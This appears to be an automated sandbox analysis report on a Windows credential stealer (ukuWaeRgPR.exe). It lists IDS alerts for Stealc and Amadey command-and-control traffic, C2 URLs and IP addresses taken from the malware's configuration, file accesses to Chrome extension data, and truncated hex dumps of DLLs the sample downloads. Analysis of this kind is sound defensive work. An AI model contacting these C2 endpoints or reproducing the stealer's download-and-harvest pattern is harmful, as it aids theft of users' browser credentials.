Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: ukuWaeRgPR.exe, 00000000.00000002.2212370303.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: ukuWaeRgPR.exe, 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\ukuWaeRgPR.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2044244 ET TROJAN Win32/Stealc Requesting browsers Config from C2 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051828 ET TROJAN Win32/Stealc Active C2 Responding with browsers Config M1 85.28.47.4:80 -> 192.168.2.5:49705
Source: Traffic	Snort IDS: 2044246 ET TROJAN Win32/Stealc Requesting plugins Config from C2 192.168.2.5:49705 -> 85.28.47.4:80
Source: Traffic	Snort IDS: 2051831 ET TROJAN Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 85.28.47.4:80 -> 192.168.2.5:49705
Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.5:49720 -> 77.91.77.82:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.82:80 -> 192.168.2.5:49720

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	URLs: http://85.28.47.4/920475a59bac849d.php
Source: Malware configuration extractor	IPs: 77.91.77.82
Source: Malware configuration extractor	IPs: 77.91.77.82

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:25:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:25:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:25:59 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:26:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:26:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:26:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 27 Jun 2024 17:26:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 